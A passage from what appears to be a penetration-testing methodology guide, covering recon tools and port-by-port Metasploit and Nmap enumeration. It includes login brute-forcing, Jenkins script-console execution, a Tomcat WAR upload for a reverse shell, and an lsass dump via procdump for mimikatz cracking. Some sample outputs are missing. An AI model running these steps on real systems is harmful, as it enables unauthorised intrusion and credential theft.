and NotInMyBackYard Diggity.
• DirBuster ttempt to find hidden pages/directories and directories with a web application, thus giving a another
attack vector (For example. Finding an unlinked to administration page).
• Exfiltrated provides the scans from the 2012 Internet Census. It would provide the IP address and the port
number running at the time of scan in the year 2012.
• Shodan: provides the same results may be with recent scans. You need to be logged-in. Shodan CLI is available
at Shodan Command-Line Interface
Shodan Queries
Tip: you can add other terms in your query like webcam, printer, rdp, windows, default password, . . .
• Censys is a search engine that allows computer scientists to ask questions about the devices and networks that
compose the Internet. Driven by Internet-wide scanning, Censys lets researchers find specific hosts and create
aggregate reports on how devices, websites, and certificates are configured and deployed. A good feature is the
Query metadata which tells the number of Http, https and other protocols found in the IP network range.
Censys.io queries
Even after doing the above, sometimes we miss few of the domain name. Example: Recently, In one of our engage-
ment, the domain name was example.com and the asn netblock was 192.168.0.0/24. We did recon-ng, theharvester,
DNS reverse-lookup via nmap. Still, we missed few of the websites hosted on same netblock but with different domain
such as example.in. We can find such entries by using ReverseIP lookup by
Reverse IP Lookup by Domaintools: Domain name search tool that allows a wildcard search, monitoring of WHOIS
record changes and history caching, as well as Reverse IP queries.
PassiveTotal
Server-Sniff
Robtex
Robtex : Robtex is one of the world’s largest network tools. At robtex.com, you will find everything you need to know
about domains, DNS, IP, Routes, Autonomous Systems, etc. There’s a nmap nse http-robtex-reverse-ip which can be
used to find the domain/ website hosted on that ip.
By now, we would have information about what ports are open and possibly what services are running on them.
Further, we need to explore the various options by which we can get more information.
• WhatWeb recognises web technologies including content management systems (CMS), blogging platforms,
statistic/analytics packages, JavaScript libraries, web servers, and embedded device. Tellmeweb is a ruby script
which reads a Nmap Gnmap file and runs whatweb against all identified open http and https ports. A WhatWeb
Result Parser has also been written which converts the results to CSV format. More information about advanced
usage can be found at Whatweb Advance Usage.
• Wapplyzer is a Firefox plug-in. There are four ways (in my knowledge to do this) be loaded on browser. It
works completely at the browser level and gives results in the form of icons.
• W3Tech is another Chrome plug-in which provides information about the usage of various types technologies
on the web. It tells which web technologies are being used based on the crawling it has done. So example.com,
x1.example.com, x2.example.com will show the same technologies as the domain is same (which is not correct).
• ChromeSnifferPlus is another chrome extension which identifies the different web-technologies used by a web-
site.
• BuiltWith is another website which provides a good amount of information about the different technologies used
by website.
Aquatone is a set of tools for performing reconnaissance on domain names. It can discover subdomains on a given
domain by using open sources as well as the more common subdomain dictionary brute force approach. After subdo-
main(s) discovery, AQUATONE can scan the identified hosts (subdomains) for common web ports and HTTP headers,
HTML bodies and screenshots can be gathered and consolidated into a report for easy analysis of the attack surface.
A detailed blog is available at AQUATONE: A tool for domain flyovers
DataSploit
The Datasploit tool performs various OSINT techniques, aggregates all the raw data, and returns the gathered data in
multiple formats.
Functional Overview:
• Performs OSINT on a domain / email / username / phone and find out information from different sources.
• Correlates and collaborate the results, shows them in a consolidated manner.
• Tries to figure out credentials, api-keys, tokens, subdomains, domain history, legacy portals, etc. related to the
target.
• Use specific script/ launch automated OSINT to consolidate data.
• Performs Active Scans on collected data.
• Generates HTML, JSON reports along with text files.
Spiderfoot
SpiderFoot is an open source intelligence automation tool. Its goal is to automate the process of gathering intelligence
about a given target, which may be an IP address, domain name, hostname or network subnet. SpiderFoot can be used
offensively, i.e. as part of a black-box penetration test to gather information about the target or defensively to identify
what information your organization is freely providing for attackers to use against you.
Intrigue.io
Intrigue makes it easy to discover information about the attack surface connected to the Internet. Intrigue utilizes com-
mon OSINT sources via “tasks” to create “entities”. Each discovered entity can be used to discover more information,
either automatically or manually.
IVRE is an open-source framework for network recon. It relies on open-source well-known tools (Nmap, Zmap,
Masscan, Bro and p0f) to gather data (network intelligence), stores it in a database (MongoDB), and provides tools to
analyze it.
It includes a Web interface aimed at analyzing Nmap scan results (since it relies on a database, it can be much more
efficient with huge scans than a tool like Zenmap, the Nmap GUI, for example).
NMAP_SCAN_TEMPLATES["noping"]= {
"traceroute": "True",
"osdetect": "True",
"pings": "n",
"ports": "more",
"resolve": "1",
"extra_options": ['-T2', '-sC'],
"verbosity": 2,
"host_timeout": "15m",
(continues on next page)
NMAP_SCAN_TEMPLATES["aggressive"] = NMAP_SCAN_TEMPLATES["default"].copy()
NMAP_SCAN_TEMPLATES["aggressive"].update({
"host_timeout": "30m",
"script_timeout": "5m",
"scripts_categories": ['default', 'discovery', 'auth', 'brute',
'exploit', 'intrusive'],
"scripts_exclude": ['broadcast', 'external']
})
From Scancli
OR
OR
db.nmap.searchscript(name=’ssl-cert’, values={‘subject.commonName’: re.compile(‘’)}
> Not formally the same meaning, but the latter is more portable and should work with PostgreSQL backend.
2.1.5 MyGoTo
So, by using intelligence gathering we have completed the normal scanning and banner grabbing. Yay!!. Now,
it’s time for some metasploit-fu and nmap-fu. We would go thru almost every port/ service and figure out what
information can be retrieved from it and whether it can be exploited or not?
So we start with creating a new workspace in the msfconsole for better work.
Let’s import all the nmap xml file (Nmap XML file saved after doing port scan) of different network ranges
db_import /root/Documents/Project_Location/Engagement_Name/Internal/Site_10.*.*.0_*/
˓→nmap_scans/Port_Scan/*.xml
After all the importing, it’s important to check what all services/ ports are running to get a feel of different possibilities.
This will write a file in /tmp/ports containing the port number and it’s name. info could also be used to get more
information.
This will provide you the sorted ports running on the network which can be then viewed to probe further.
A sample output is
***SNIP**
20,ftp-data
21,ftp
22,ssh
23,landesk-rc
23,telnet
24,priv-mail
25,smtp
25,smtp-proxy
***SNIP**
Let’s move port by port and check what metasploit framework and nmap nse has to offer. By no means, this is a
complete list, new ports, metasploit modules, nmap nse will be added as used. This post currently covers the below
ports/ services. Mostly exploited are Apache Tomcat, JBoss, Java RMI, Jenkins, ISCSI, HP HPDataProtector RCE,
IPMI, RTSP, VNC, X11 etc.
• FTP - Port 21
• SSH - Port 22
• Telnet - Port 23
• SMTP | Port 25 and Submission Port 587
• DNS - Port 53
• Finger - Port 79
• HTTP
• Webmin
• Jenkins
• Apache Tomcat
• JBoss
• Lotus Domino httpd
• IIS
• VMware ESXi
• Kerberos - Port 88
• POP3 - Port 110
• RPCInfo - Port 111
• Ident - Port 113
• NetBios
• SNMP - Port 161
• Check Point FireWall-1 Topology - Port 264
• LDAP - Port 389
• SMB - Port 445
• rexec - Port 512
• rlogin - Port 513
• RSH - port 514
• AFP - Apple Filing Protocol - Port 548
• Microsoft Windows RPC Services | Port 135 and Microsoft RPC Services over HTTP | Port 593
• HTTPS - Port 443 and 8443
• RTSP - Port 554 and 8554
• Rsync - Port 873
• Java RMI - Port 1099
• MS-SQL | Port 1433
• Oracle - Port 1521
• NFS - Port 2049
• ISCSI - Port 3260
• SAP Router | Port 3299
• MySQL | Port 3306
• Postgresql - Port 5432
• HPDataProtector RCE - Port 5555
• VNC - Port 5900
• CouchDB - Port 5984
• Other
• Redis - Port 6379
• AJP Apache JServ Protocol - Port 8009
• PJL - Port 9100
• Apache Cassandra - Port 9160
• Network Data Management Protocol (ndmp) - Port 10000
• Memcache - Port 11211
• MongoDB - Port 27017 and Port 27018
• EthernetIP-TCP-UDP - Port 44818
• UDP BACNet - Port 47808
So, on a network we can find multiple versions of ftp servers running. Let’s find out by
A Sample output is
Metasploit
use auxiliary/scanner/ftp/ftp_version
services -p 21 -R
Sample Output:
[*] 172.16.xx.xx:21 FTP Banner: '220 pSCn-D1 FTP server (Version 4.2 Tue Feb 19
˓→19:37:47 CST 2013) ready.\x0d\x0a'
[*] 172.16.xx.xx:21 FTP Banner: '220 pSCn-Dev FTP server (Version 4.2 Tue Feb 19
˓→19:37:47 CST 2013) ready.\x0d\x0a'
FTP Authentication Scanner which will test FTP logins on a range of machines and report successful logins.
use auxiliary/scanner/ftp/ftp_login
services -p 21 -R
Sample Output:
Yet to run
use auxiliary/scanner/portscan/ftpbounce
Nmap
ftp-anon
ftp-anon.nse : Checks if an FTP server allows anonymous logins. If anonymous is allowed, gets a directory listing of
the root directory and highlights writeable files.
Sample Output:
ftp-brute
ftp-bounce
ftp-bounce.nse : Checks to see if an FTP server allows port scanning using the FTP bounce method.
Metasploit
use auxiliary/scanner/ssh/ssh_version
services -p 22 -u -R
Sample output
˓→certainty=0.8)
SSH Login Check Scanner will test ssh logins on a range of machines and report successful logins. Caution: Brute-
Force.
use auxiliary/scanner/ssh/ssh_login
services -p 22 -u -R
Nmap
ssh2-enum-algos
ssh2-enum-algos.nse : Reports the number of algorithms (for encryption, compression, etc.) that the target SSH2
server offers. If verbosity is set, the offered algorithms are each listed by type.
Sample Output:
SSH-Hostkey
˓→vQNUDe+RlnFxX0wAAAIAXBBnv/
˓→P1RyzGdGM+JX2tbM6gJvC4WNoq7Okdh1ZH2Rxn1plU+oTt189ZI5UcR67x504o5fXVZ0pj3yJh6yMQFfsw89iSbTGmM6V1wYnq+
˓→8vFrwb/C2KoL36JiIABgAAAIAUTOQm2+LVNqISuZT/doDbz5H89dCbLyL0uNiPRGW3XGjsZrW/iyvN/
˓→FQ1Lz0vai1db3UPbkNvhQNhOIJtAYClyQg1bTjvBCV2YvG9P91Ljyl6avSUoPEDg7h46E90TpneFa0tRf+V3RBC4KbXHrelgHye
|_ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIRocXKgi0l3kZeVNEPlMXBBDj4WYAPFzNgf63+e/
˓→RMN5DSYz4AmVw1V8o+gsaL3mCeMwRdMfPCVlDdFPRDbZhyXNiG2vstc+gbeOHyDaLuQJVMF/
˓→++M8Yw9GWr7dOOA9zUfRkYVrQT53bfYzSpiulZpAbnkY0X5Ma40aO56Sq4H1NNqb7ZBdCWmder3veBq+6R9z+xSY0ji5Csr52bI
˓→/lWDUDwK+hQ8jL9EjP884uPflRJPqdxoWLK001exSPHmcZOFNCeb2TQSkTbJVIh5Qg55eel2d0f/
˓→YZe24b6SalaANsZHt9MyG6Q5DNbtWvV2ixV
SSHv1
sshv1.nse : Checks if an SSH server supports the obsolete and less secure SSH Protocol Version 1.
Sample Output:
Metasploit
Telnet version
use auxiliary/scanner/telnet/telnet_version
services -p 23 -u -R
Sample Output
One sad thing is telnet_version overwrites the Nmap banner, which is most probably not good. Need to check how we
can avoid this. maybe not run version modules?
We could have used nmap banners for telnet for example: below for the SNMP modules. As routers/ switches are
mostly uses SNMP.
use auxiliary/scanner/telnet/telnet_login
services -p 23 -u -R
Nmap
Two NSEs
Telnet-brute
Telnet-encryption
telnet-encryption.nse : Determines whether the encryption option is supported on a remote telnet server.
Metasploit
SMTP_Version
use auxiliary/scanner/smtp/smtp_version
services -p 25 -u -R
Sample Output
[*] 10.10.xx.xx:25 SMTP 220 xxxx.example.com Microsoft ESMTP MAIL Service, Version: 6.
˓→0.3790.4675 ready at Thu, 3 Mar 2016 18:22:44 +0530 \x0d\x0a
[*] 10.10.xx.xx:25 SMTP 220 smtpsrv.example.com ESMTP Sendmail; Thu, 3 Mar 2016
˓→18:22:39 +0530\x0d\x0a
Tests if an SMTP server will accept (via a code 250) an e-mail by using a variation of testing methods
use auxiliary/scanner/smtp/smtp_relay
services -p 25 -u -R
You might want to change MAILFROM and MAILTO, if you want to see if they are actual open relays client might
receive emails.
Sample Output:
Allows the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which reveals the actual
address of users aliases and lists of e-mail (mailing lists)). Through the implementation of these SMTP commands
can reveal a list of valid users. User files contains only Unix usernames so it skips the Microsoft based Email SMTP
Server. This can be changed using UNIXONLY option and custom user list can also be provided.
use auxiliary/scanner/smtp/smtp_enum
services -p 25 -u -R
Sample Output
[*] 10.10.xx.xx:25 Skipping microsoft (220 ftpsrv Microsoft ESMTP MAIL Service,
˓→Version: 6.0.3790.4675 ready at Thu, 3 Mar 2016 18:49:49 +0530)
[+] 10.10.xx.xx:25 Users found: adm, admin, avahi, avahi-autoipd, bin, daemon, fax,
˓→ftp, games, gdm, gopher, haldaemon, halt, lp, mail, news, nobody, operator,
Nmap NSE
SMTP-brute
smtp-brute.nse : Performs brute force password auditing against SMTP servers using either LOGIN, PLAIN, CRAM-
MD5, DIGEST-MD5 or NTLM authentication.
SMTP-Commands
smtp-commands.nse : Attempts to use EHLO and HELP to gather the Extended commands supported by an SMTP
server.
SMTP-enum-users
smtp-enum-users.nse : Attempts to enumerate the users on a SMTP server by issuing the VRFY, EXPN or RCPT TO
commands. The goal of this script is to discover all the user accounts in the remote system. Similar to SMTP_ENUM
in metasploit.
SMTP-open-relay
smtp-open-relay.nse : Attempts to relay mail by issuing a predefined combination of SMTP commands. The goal of
this script is to tell if a SMTP server is vulnerable to mail relaying.
Sample Output:
Other
SMTP Commands
The following is an actual SMTP session. All sessions must start with HELO and end with QUIT.
HELO my.server.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA
From: Danny Dolittle
To: Sarah Smith
Subject: Email sample
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Metasploit
Uses a dictionary to perform a bruteforce attack to enumerate hostnames and subdomains available under a given
domain
use auxiliary/gather/dns_bruteforce
Sample Output:
Module enumerates basic DNS information for a given domain. The module gets information regarding to A (ad-
dresses), AAAA (IPv6 addresses), NS (name servers), SOA (start of authority) and MX (mail servers) records for a
given domain. In addition, this module retrieves information stored in TXT records.
use auxiliary/gather/dns_info
Sample Output:
Module performs DNS reverse lookup against a given IP range in order to retrieve valid addresses and names.
use auxiliary/gather/dns_reverse_lookup
use auxiliary/gather/dns_srv_enum
set domain example.com
run
Module can be used to gather information about a domain from a given DNS server by performing various DNS
queries such as zone transfers, reverse lookups, SRV record bruteforcing, and other techniques.
use auxiliary/gather/enum_dns
Sample Output:
[*] Done
[*] Auxiliary module execution completed
auxiliary/scanner/dns/dns_amp
services -p 53 -u -R
Sample Output:
[*] Sending 67 bytes to each host using the IN ANY isc.org request
[+] 10.10.xx.xx:53 - Response is 401 bytes [5.99x Amplification]
[+] 10.10.xx.xx:53 - Response is 417 bytes [6.22x Amplification]
[+] 10.10.xx.xx:53 - Response is 401 bytes [5.99x Amplification]
[+] 10.10.xx.xx:53 - Response is 230 bytes [3.43x Amplification]
Can be used to scrape records that have been cached by a specific nameserver. Thinking of what all can be discovered
from this module is the antivirus softwares used by the company, websites visited by the employees. It uses dns
norecurse option.
use auxiliary/gather/dns_cache_scraper
Sample Output:
Nmap
Nmap has around 19-20 NSE Scripts for DNS, we haven’t mentioned all the NSE here, only which we were able to
use.:
Broadcast-dns-service-discovery
broadcast-dns-service-discovery.nse : Attempts to discover hosts’ services using the DNS Service Discovery protocol.
It sends a multicast DNS-SD query and collects all the responses.
Sample Output:
nmap --script=broadcast-dns-service-discovery
It’s surprising why teamviewer will broadcast its ID, then we mostly need 4 digit pin just to control the machine.
DNS-blacklist
dns-blacklist.nse (External IP Only) Checks target IP addresses against multiple DNS anti-spam and open proxy
blacklists and returns a list of services for which an IP has been flagged
DNS-brute
dns-brute.nse : This is similar to the msf dns_bruteforce module. Attempts to enumerate DNS hostnames by brute
force guessing of common subdomains.
Sample Output:
nmap --script dns-brute www.example.com -sn -n -Pn
DNS-Cache-snoop
dns-cache-snoop.nse : This module is similar to dns_cache_scraper. Perform DNS cache snooping against a DNS
server. The default list of domains to check consists of the top 50 most popular sites, each site being listed twice, once
with “www.” and once without. Use the dns-cache-snoop.domains script argument to use a different list.
Sample Output with no arguments:
˓→103.8.xx.xx
DNS-Check-zone
dns-check-zone.nse : Checks DNS zone configuration against best practices, including RFC 1912. The configuration
checks are divided into categories which each have a number of different tests.
Sample Output:
DNS-nsid
dns-nsid.nse : Retrieves information from a DNS nameserver by requesting its nameserver ID (nsid) and asking for its
id.server and version.bind values.
Sample Output:
nmap -sSU -p 53 --script dns-nsid 202.191.xx.xx
DNS-recursion
dns-recursion.nse : Checks if a DNS server allows queries for third-party names. It is expected that recursion will be
enabled on your own internal nameservers.
Sample Output:
DNS-Service-Discovery
dns-service-discovery.nse : Attempts to discover target hosts’ services using the DNS Service Discovery protocol. The
script first sends a query for _services._dns-sd._udp.local to get a list of services. It then sends a followup query for
each one to try to get more information.
Sample Output:
Yet to run
nmap --script=dns-service-discovery -p 5353 <target>
DNS-SRV-Enum
dns-srv-enum.nse : Enumerates various common service (SRV) records for a given domain name. The service records
contain the hostname, port and priority of servers for a given service. The following services are enumerated by the
script:
• Active Directory Global Catalog
• Exchange Autodiscovery
• Kerberos KDC Service
• Kerberos Passwd Change Service
• LDAP Servers
• SIP Servers
• XMPP S2S
• XMPP C2S
Sample Output:
Yet to run
DNS-Zone-Transfer
| zonetransfer.me. MX 0 ASPMX.L.GOOGLE.COM.
| zonetransfer.me. MX 10 ALT1.ASPMX.L.GOOGLE.COM.
| zonetransfer.me. MX 10 ALT2.ASPMX.L.GOOGLE.COM.
| zonetransfer.me. MX 20 ASPMX2.GOOGLEMAIL.COM.
| zonetransfer.me. MX 20 ASPMX3.GOOGLEMAIL.COM.
| zonetransfer.me. MX 20 ASPMX4.GOOGLEMAIL.COM.
| zonetransfer.me. MX 20 ASPMX5.GOOGLEMAIL.COM.
| zonetransfer.me. A 217.147.xx.xx
| zonetransfer.me. NS nsztm1.digi.ninja.
| zonetransfer.me. NS nsztm2.digi.ninja.
| _sip._tcp.zonetransfer.me. SRV 0 0 5060 www.zonetransfer.me.
| 157.177.xx.xx.IN-ADDR.ARPA.zonetransfer.me. PTR www.zonetransfer.me.
| asfdbauthdns.zonetransfer.me. AFSDB 1 asfdbbox.zonetransfer.me.
| asfdbbox.zonetransfer.me. A 127.0.xx.xx
| asfdbvolume.zonetransfer.me. AFSDB 1 asfdbbox.zonetransfer.me.
| canberra-office.zonetransfer.me. A 202.14.xx.xx
| cmdexec.zonetransfer.me. TXT "; ls"
| contact.zonetransfer.me. TXT "Remember to call or email
˓→Pippa on +44 123 4567890 or [email protected] when making DNS changes"
| dc-office.zonetransfer.me. A 143.228.xx.xx
| deadbeef.zonetransfer.me. AAAA dead:beaf::
| dr.zonetransfer.me. LOC 53.349044 N 1.642646 W 0m 1.
˓→0m 10000.0m 10.0m
| email.zonetransfer.me. A 74.125.xx.xx
| Info.zonetransfer.me. TXT "ZoneTransfer.me service
˓→provided by Robin Wood - [email protected]. See http://digi.ninja/projects/
Metasploit
use auxiliary/scanner/finger/finger_users
services -p 79 -u -R
Sample Output:
Nmap
Finger
Yet to run
Other
finger
finger [email protected]
-= Meteogram for india/delhi/new_delhi =-
'C Rain
37
36 ^^^^^^^^^^^^^^^
35 ^^^ ^^^
34 =-- ^^^
33 ^^^
32 ^^^
31 ^^^^^^ ^^^^^^
30 ^^^
29^^^^^^=--^^^^^^^^^
28
01 02 03 04 05_06_07_08_09_10_11_12_13_14_15_16_17_18 19 20 21 22 Hour
SW SW SW SW W W W W NW NW NW NW NW NW NW NW W W W SW SW SW Wind dir.
2 2 2 2 3 5 5 6 7 6 6 6 6 6 6 5 4 2 2 1 2 2 Wind(mps)
2.2.7 HTTP
Let’s first get a hold of what services are running on the network by checking the different banners
services -p 80 -c port,name,info -u -o /tmp/http.ports
cat /tmp/http.ports | cut -d , -f2,3,4 | sort | uniq | tr -d \" | grep -v port | sort
˓→-n
Webmin
Metasploit
Moving on to
Jenkins
Typically, Jenkins exposes an endpoint (/people or /asynchPeople) that does not require authentication and where all
the defined users are listed.
Metasploit
• Jenkins-CI Enumeration: This module enumerates a remote Jenkins-CI installation in an unauthenticated man-
ner, including host operating system and Jenkins installation details.
Sample Output
• Jenkins-CI Login Utility: This module attempts to login to a Jenkins-CI instance using a specific user/pass. So,
Let’s try with Rockyou wordlist
Sample Output:
• Jenkins-CI Script-Console Java Execution: This module uses the Jenkins-CI Groovy script console to execute
OS commands using Java. As we have the credentials obtained above, we can use them to execute OS commands
If the above metasploit modules doesn’t work, we can perform code execution manually. Visit the jenkins
web page > Manage Jenkins (options on the left side) > script console . In the script console page. copy
and paste the below code into the editable area.
In place of ‘[INSERT COMMAND]’ we can use powershell Empire launcher or Web_delivery powershell
inject code to get an agent or meterpreter shell on our attacking machine.
The above has been taken from Hacking Jenkins Servers with No Password Also, Leonjza has written a
blog Jenkins to Meterpreter - toying with powersploit which could provide more idea.
Apache Tomcat
services -S "Tomcat"
Services
========
10.10.xx.xx 1311 tcp ssl/http open Apache Tomcat/Coyote JSP engine 1.1
10.10.xx.xx 80 tcp http open Apache Tomcat/Coyote JSP engine 1.1
10.10.xx.xx 80 tcp http open Apache-Coyote/1.1 (401-Basic realm=
˓→"Tomcat Manager Application")
10.10.xx.xx 1311 tcp ssl/http open Apache Tomcat/Coyote JSP engine 1.1
10.10.xx.xx 8443 tcp ssl/http open Apache Tomcat/Coyote JSP engine 1.1
10.10.xx.xx 80 tcp http open Apache-Coyote/1.1 (401-Basic realm=
˓→"Tomcat Manager Application")
10.23.xx.xx 8080 tcp http open Apache Tomcat/Coyote JSP engine 1.1
10.87.xx.xx 8080 tcp http open Apache-Coyote/1.1 (401-Basic realm=
˓→"Tomcat Manager Application")
We get multiple tomcat manager applications running. Let’s see what we have for Tomcat
• Tomcat Application Manager Login Utility which checks for default tomcat username and pass-
words using the above module
use auxiliary/scanner/http/tomcat_mgr_login
services -p 8080 -S "Tomcat Manager" -R
Run the scan for other ports also above 8443, 80, 1311, 8081 :)
Sample Output:
Yay :) We got two apache tomcat we can upload WAR files and get shell ;)
There are four ways (in our knowledge to exploit this)
• Apache Tomcat Manager Application Deployer Authenticated Code Execution (tom-
cat_mgr_deploy)
• Apache Tomcat Manager Authenticated Upload Code Execution (tomcat_mgr_upload)
Use either of them to exploit the application by
Exploit target:
Id Name
-- ----
0 Automatic
set the values required by exploit aad set the suitable payload and exploit. The successful
exploitation will give us shell of the victim machine. The payload options can be viewed by
using the command
show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom
˓→Payload
Set the payload option (depending upon the target’s operating system which can be selected by
set TARGET <ID>) by using
or
set payload java/shell/reverse_tcp -to get the system
˓→level shell
Once we have obtained a meterepreter shell we can use getsystem to run the shell with admin-
istrative rights,
Wait, what if the exploitation doesn’t work ? in that case we can exploit the application by
another way. :)
• Web-Shell: The exploit which we learned above, uploads or deploys the malicious payload into the
application and runs it. sometimes this may not work as it is supposed to be in that case we can
directly upload a shell using a WAR file deployment functionality given in the /manager/html page.
This WAR file contains nothing but a small code of obtaining a shell called cmd.war file. The code
can be downloaded from Laudanum Shells.
Once you have downloaded the file upload the file to the application. also Download the proc-
dump.exe from ProcDump. Copy the procdump file inside the .WAR previously downloaded and
upload the modified file to the application. The idea of uploading the procdump with the WAR file
is to obtain a lsass.exe process’s dump.
Note: Lsass.exe (Local security Authority Subsystem Service) is responsible for enforcing the
security policy on the system. It verifies users logging on to a Windows computer or server,
handles password changes, and creates access tokens. Dumping this process will give us file
Lsass.DMP file which can be used to crack the windows machines password in offline with the
help of famous mimikatz
cmd /c "cd C:\<Path to the procdump file> & procdump -acceptula -ma
˓→lsass.exe MYdmp.dmp"
After uploading the WAR file, The system level shell could be obtained by tampering the url
http://<IP Address>/manager/cmd.war/cmd.jsp , should directly give us the shell in the page
itself
• Jsp File Browser: Install file browser java server page. This JSP program allows remote web-based
file access and manipulation. Able to upload-download, execute commands. Thanks to Tanoy for
informing about this.
• Searching for Canon
Found an interesting module Canon Printer Wireless Configuration Disclosure which enumerates wireless
credentials from Canon printers with a web interface. It has been tested on Canon models: MG3100, MG5300,
MG6100, MP495, MX340, MX870, MX890, MX920. We still need to figure out what is Options.
use auxiliary/scanner/http/canon_wireless
Sample Output
JBoss
rvrsh3ll has written a blog on Exploiting JBoss with Empire and PowerShell
auxiliary/scanner/lotus/lotus_domino_hashes normal
˓→Lotus Domino Password Hash Collector
auxiliary/scanner/lotus/lotus_domino_login normal
˓→Lotus Domino Brute Force Utility
auxiliary/scanner/lotus/lotus_domino_version normal
˓→Lotus Domino Version
use auxiliary/scanner/lotus/lotus_domino_version
services -p 80 -S "Lotus" -R
Sample output:
Let’s try
• Lotus Domino Login which is Lotus Domino Authentication Brute Force Utility with our default passwords.
use auxiliary/scanner/lotus/lotus_domino_login
services -p 80 -S "Lotus" -R
set USERNAME admin
set PAsSwoRD example@123
Sample Output:
use auxiliary/scanner/lotus/lotus_domino_hashes
services -p 80 -S "Lotus" -R
set NOTES_USER admin
set NOTES_PASS example@123
Sample Output
IIS
We can check if WebDAV is enabled on the websites running IIS by HTTP WebDAV Scanner which detect web-
servers with WebDAV enabled.
use auxiliary/scanner/http/webdav_scanner
Sample Output: Mostly old IIS like 5.1/6.0 would have WebDAV enabled. It is disabled by default in the newer
versions.
[+] 10.87.xx.xx (Microsoft-IIS/5.1) has WEBDAV ENABLED
VMware ESXi
Let’s find what version they are running by VMWare ESX/ESXi Fingerprint Scanner which accesses the web API
interfaces for VMware ESX/ESXi servers and attempts to identify version information for that server.
use auxiliary/scanner/vmware/esx_fingerprint
services -p 80 -S VMware
Sample Output
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.5.0 build-1623387
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.5.0 build-1623387
[*] Scanned 2 of 18 hosts (11% complete)
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.1.0 build-799733
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.5.0 build-1623387
[*] Scanned 4 of 18 hosts (22% complete)
[+] 10.10.xx.xx:443 - Identified VMware vCenter Server 6.0.0 build-3339083
[*] Scanned 6 of 18 hosts (33% complete)
[+] 10.10.xx.xx:443 - Identified VMware ESXi 6.0.0 build-3073146
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.1.0 build-799733
[*] Scanned 17 of 18 hosts (94% complete)
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.1.0 build-1065491
Nmap
krb5-enum-users
krb5-enum-users.nse : Discovers valid usernames by brute force querying likely usernames against a Ker-
beros service. When an invalid username is requested the server will respond using the Kerberos error code
KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, allowing us to determine that the user name was invalid. Valid user
names will illicit either the TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, sig-
naling that the user is required to perform pre authentication.
The script should work against Active Directory. It needs a valid Kerberos REALM in order to operate.
Metasploit
use auxiliary/scanner/pop3/pop3_version
services -p 110 -R -u
use auxiliary/scanner/pop3/pop3_login
services -p 110 -R -u
Nmap
Two NSEs
POP3-capabilities
POP3-brute
pop3-brute.nse : Tries to log into a POP3 account by guessing usernames and passwords.
Tip: While playing one of Vulnhub machines, we figured out that bruteforcing POP3 service is faster than bruteforc-
ing SSH services.
Other
POP3 Commands
Once, we are connected to the POP3 Server, we can execute the below commands. Think we got some user credentials,
we can read the emails of that user using POP3
Metasploit
use auxiliary/scanner/nfs/nfsmount
services -p 111 -u -R
Sample Output:
Other
rpcinfo
rpcinfo makes an RPC call to an RPC server and reports what it finds
rpcinfo -p IP_Address
Sample Output:
rpcinfo -p 10.7.xx.xx
program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
741824 1 tcp 669
741824 2 tcp 669
399929 2 tcp 631
showmount -a 172.30.xx.xx
All mount points on 172.30.xx.xx:
172.30.xx.xx:/SSSC-LOGS
172.30.xx.xx:/sssclogs
Multiple times we have seen msf nfsmount fail because of some error, so it sometimes better to just run a for loop with
showmount
Nmap
Auth-owners
auth-owners.nse : Attempts to find the owner of an open TCP port by querying an auth daemon which must also be
open on the target system.
Other
Ident-user-enum
If the port ident 113 is open, it might be a good idea to try pentest monkey ident-user-enum Perl Script. The same
result is also achieved by
Sample Output
10.10.xx.xx:22 [U2FsdGVkX19U+FaOs8zFI+sBFw5PBF2/hxWdfeblTXM=]
10.10.xx.xx:53 [U2FsdGVkX1+fVazmVwSBwobo05dskDNWG8mogAWzHS8=]
10.10.xx.xx:111 [U2FsdGVkX1+GPhL0rdMggQOQmNzsxtKe+ro+YQ28nTg=]
10.10.xx.xx:113 [U2FsdGVkX1+5f5j9c2qnHFL5XKMcLV7YjUW8LYWN1ac=]
10.10.xx.xx:512 [U2FsdGVkX1+IWVqsWohbUhjr3PAgbkWTaImWIODMUDY=]
(continues on next page)
The above are base64 encoded, when decoded results in Salted_Some_Garbage. If anyone know what it’s appreciated.
Network News Transfer Protocol (NNTP), is used for the distribution, inquiry, retrieval, and posting of Netnews
articles using a reliable stream-based mechanism. For news-reading clients, NNTP enables retrieval of news articles
that are stored in a central database, giving subscribers the ability to select only those articles they wish to read.
Commands
CAPABILITIES
CAPABILITIES [keyword] allows a client to determine the capabilities of the server at any given time.
MODE READER
MODE READER :
Responses
200 Posting allowed
201 Posting prohibited
502 Reading service permanently unavailable
QUIT
LISTGROUP
LISTGROUP [group [range]] : The LISTGROUP command selects a newsgroup in the same manner as the GROUP
command (see Section 6.1.1) but also provides a list of article numbers in the newsgroup. If no group is specified, the
currently selected newsgroup is used.
ARTICLE
ARTICLE message-id The ARTICLE command selects an article according to the arguments and presents the entire
article (that is, the headers, an empty line, and the body, in that order) to the client
POST
POST
[C] POST
[S] 340 Input article; end with <CR-LF>.<CR-LF>
[C] From: "Demo User" <[email protected]>
[C] Newsgroups: misc.test
[C] Subject: I am just a test article
[C] Organization: An Example Net
[C]
[C] This is just a test article.
[C] .
[S] 240 Article received OK
2.2.13 NetBios
Nmap
broadcast-netbios-master-browser
broadcast-netbios-master-browser.nse : Attempts to discover master browsers and the domains they manage.
nmap --script=broadcast-netbios-master-browser
Metasploit
Find the machines which are having default communtites by using SNMP Community Scanner.
use auxiliary/scanner/snmp/snmp_login
services -p 161 -u -R
Sample Output:
Enumerate the devices for which we have found the community strings
use auxiliary/scanner/snmp/snmp_enum
creds -p 161 -R
Sample Output:
[+] 10.11.xx.xx, Connected.
[*] System information:
Host IP : 10.11.xx.xx
Hostname : X150-24t
Description : ExtremeXOS version 12.2.xx.xx v1222b11 by release-
˓→manager on Mon Mar 23 17:54:47 PDT 2009
